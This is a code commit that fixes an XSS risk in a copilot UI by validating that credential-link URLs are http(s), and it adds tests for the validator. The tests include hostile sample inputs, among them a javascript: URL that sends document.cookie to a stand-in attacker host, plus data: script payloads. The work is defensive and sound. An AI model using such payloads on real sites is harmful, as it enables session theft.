fix(copilot): validate credential-link URL scheme before rendering (#5416)

* fix(copilot): validate credential-link URL scheme before rendering Only render the credential connect link as a clickable anchor when its value resolves to an http(s) URL, reusing the isSafeHttpUrl helper already used for chat file links. * refactor(copilot): move isSafeHttpUrl to shared lib/core/utils/urls Per Greptile's convention feedback: isSafeHttpUrl was consumed by both chat and workspace/home but defined inside a feature-specific 'use client' component. Move it alongside getBrowserOrigin (which it already depends on) in lib/core/utils/urls.ts, matching this repo's shared-utility rule.
2026-09-24 15:45:35 +08:00 · 2026-07-04 15:19:08 -07:00
parent acf4afb1b5
commit 04432b64a8
6 changed files with 144 additions and 74 deletions
@@ -1,58 +0,0 @@
-/**
- * @vitest-environment jsdom
- */
-import { describe, expect, it, vi } from 'vitest'
-
-vi.mock('@sim/emcn', () => ({
-  Button: () => null,
-  Download: () => null,
-  Loader: () => null,
-}))
-
-vi.mock('@/components/icons/document-icons', () => ({
-  DefaultFileIcon: () => null,
-  getDocumentIcon: () => () => null,
-}))
-
-vi.mock('@/lib/core/config/env', () => ({
-  env: {},
-  getEnv: vi.fn(),
-}))
-
-vi.mock('@/lib/core/config/env-flags', () => ({
-  isProd: false,
-}))
-
-import { isSafeHttpUrl } from '@/app/(interfaces)/chat/components/message/components/file-download'
-
-describe('isSafeHttpUrl', () => {
-  it('allows absolute http(s) URLs', () => {
-    expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
-    expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
-  })
-
-  it('allows same-origin relative URLs (resolved against the browser origin)', () => {
-    expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
-  })
-
-  it('rejects javascript: URLs', () => {
-    expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
-    expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
-  })
-
-  it('rejects other script-capable or non-navigable schemes', () => {
-    expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
-    expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
-    expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
-    expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
-  })
-
-  it('treats relative junk as same-origin http (safe) rather than throwing', () => {
-    expect(isSafeHttpUrl('')).toBe(true)
-    expect(isSafeHttpUrl('not a url')).toBe(true)
-  })
-
-  it('rejects unparseable absolute input without throwing', () => {
-    expect(isSafeHttpUrl('http://')).toBe(false)
-  })
-})
@@ -6,7 +6,7 @@ import { createLogger } from '@sim/logger'
 import { sleep } from '@sim/utils/helpers'
 import { Music } from 'lucide-react'
 import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons'
-import { getBrowserOrigin } from '@/lib/core/utils/urls'
+import { isSafeHttpUrl } from '@/lib/core/utils/urls'
 import type { ChatFile } from '@/app/(interfaces)/chat/components/message/message'

 const logger = createLogger('ChatFileDownload')
@@ -54,21 +54,6 @@ function getFileUrl(file: ChatFile): string {
  return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}`
 }

-/**
- * Validates that a URL uses an http(s) scheme before it is opened in a new window.
- * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
- * execute script in the chat origin, since `file.url` originates from untrusted
- * workflow/agent output.
- */
-export function isSafeHttpUrl(url: string): boolean {
-  try {
-    const parsed = new URL(url, getBrowserOrigin() ?? undefined)
-    return parsed.protocol === 'http:' || parsed.protocol === 'https:'
-  } catch {
-    return false
-  }
-}
-
 async function triggerDownload(url: string, filename: string): Promise<void> {
  const response = await fetch(url)
  if (!response.ok) {
@@ -0,0 +1,91 @@
+/**
+ * @vitest-environment jsdom
+ */
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const { mockUseUserPermissionsContext } = vi.hoisted(() => ({
+  mockUseUserPermissionsContext: vi.fn(),
+}))
+
+vi.mock('@/app/workspace/[workspaceId]/providers/workspace-permissions-provider', () => ({
+  useUserPermissionsContext: mockUseUserPermissionsContext,
+}))
+
+vi.mock('next/navigation', () => ({
+  useParams: () => ({ workspaceId: 'workspace-1' }),
+}))
+
+import type { CredentialTagData } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags'
+import { SpecialTags } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags'
+
+/**
+ * Minimal dependency-free render harness (the repo has no `@testing-library/react`). Mounts the
+ * component in a real React 19 root under jsdom, matching the pattern in `use-autosave.test.tsx`.
+ */
+function renderCredentialLink(data: CredentialTagData): { container: HTMLDivElement; root: Root } {
+  ;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+  const container = document.createElement('div')
+  const root: Root = createRoot(container)
+  act(() => {
+    root.render(<SpecialTags segment={{ type: 'credential', data }} />)
+  })
+  return { container, root }
+}
+
+describe('CredentialDisplay link tag', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    mockUseUserPermissionsContext.mockReturnValue({ canEdit: true })
+  })
+
+  it('does not render an anchor for a javascript: scheme value', () => {
+    const { container, root } = renderCredentialLink({
+      type: 'link',
+      provider: 'github',
+      value: 'javascript:alert(1)',
+    })
+
+    expect(container.querySelector('a')).toBeNull()
+    act(() => root.unmount())
+  })
+
+  it('does not render an anchor for a data: scheme value', () => {
+    const { container, root } = renderCredentialLink({
+      type: 'link',
+      provider: 'github',
+      value: 'data:text/html,<script>alert(1)</script>',
+    })
+
+    expect(container.querySelector('a')).toBeNull()
+    act(() => root.unmount())
+  })
+
+  it('renders a working link for a real http(s) connect URL', () => {
+    const url = 'https://github.com/login/oauth/authorize?client_id=abc&scope=repo'
+    const { container, root } = renderCredentialLink({
+      type: 'link',
+      provider: 'github',
+      value: url,
+    })
+
+    const link = container.querySelector('a')
+    expect(link).not.toBeNull()
+    expect(link?.getAttribute('href')).toBe(url)
+    expect(container.textContent).toContain('Connect github')
+    act(() => root.unmount())
+  })
+
+  it('renders nothing when the user cannot edit, regardless of URL safety', () => {
+    mockUseUserPermissionsContext.mockReturnValue({ canEdit: false })
+    const { container, root } = renderCredentialLink({
+      type: 'link',
+      provider: 'github',
+      value: 'https://github.com/login/oauth/authorize',
+    })
+
+    expect(container.querySelector('a')).toBeNull()
+    act(() => root.unmount())
+  })
+})
@@ -15,6 +15,7 @@ import {
 } from '@sim/emcn'
 import { useParams } from 'next/navigation'
 import { canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils'
+import { isSafeHttpUrl } from '@/lib/core/utils/urls'
 import { OAUTH_PROVIDERS } from '@/lib/oauth/oauth'
 import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon'
 import type {
@@ -754,6 +755,9 @@ function CredentialDisplay({ data }: { data: CredentialTagData }) {
  if (data.type === 'link') {
    // Connecting a credential mutates the workspace — hide it from read-only members.
    if (!data.provider || !canEdit) return null
+    // The connect link value comes from the streamed model output, so only
+    // render it as a clickable link when it resolves to a real http(s) URL.
+    if (!data.value || !isSafeHttpUrl(data.value)) return null
    const Icon = getCredentialIcon(data.provider) ?? LockIcon
    return (
      <a
@@ -20,6 +20,7 @@ import {
  getBrowserOrigin,
  getSocketUrl,
  isLocalhostUrl,
+  isSafeHttpUrl,
  parseOriginList,
 } from '@/lib/core/utils/urls'

@@ -133,3 +134,35 @@ describe('isLocalhostUrl', () => {
    expect(isLocalhostUrl('')).toBe(false)
  })
 })
+
+describe('isSafeHttpUrl', () => {
+  it('allows absolute http(s) URLs', () => {
+    expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
+    expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
+  })
+
+  it('allows same-origin relative URLs (resolved against the browser origin)', () => {
+    expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
+  })
+
+  it('rejects javascript: URLs', () => {
+    expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
+    expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
+  })
+
+  it('rejects other script-capable or non-navigable schemes', () => {
+    expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
+    expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
+    expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
+    expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
+  })
+
+  it('treats relative junk as same-origin http (safe) rather than throwing', () => {
+    expect(isSafeHttpUrl('')).toBe(true)
+    expect(isSafeHttpUrl('not a url')).toBe(true)
+  })
+
+  it('rejects unparseable absolute input without throwing', () => {
+    expect(isSafeHttpUrl('http://')).toBe(false)
+  })
+})
@@ -169,6 +169,21 @@ export function getBrowserOrigin(): string | null {
  return typeof window !== 'undefined' ? window.location.origin : null
 }

+/**
+ * Validates that a URL uses an http(s) scheme before it is opened in a new window.
+ * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
+ * execute script in the chat origin, since `file.url` originates from untrusted
+ * workflow/agent output.
+ */
+export function isSafeHttpUrl(url: string): boolean {
+  try {
+    const parsed = new URL(url, getBrowserOrigin() ?? undefined)
+    return parsed.protocol === 'http:' || parsed.protocol === 'https:'
+  } catch {
+    return false
+  }
+}
+
 /**
 * Returns the socket server URL for server-side internal API calls.
 * Reads from SOCKET_SERVER_URL with a localhost fallback for development.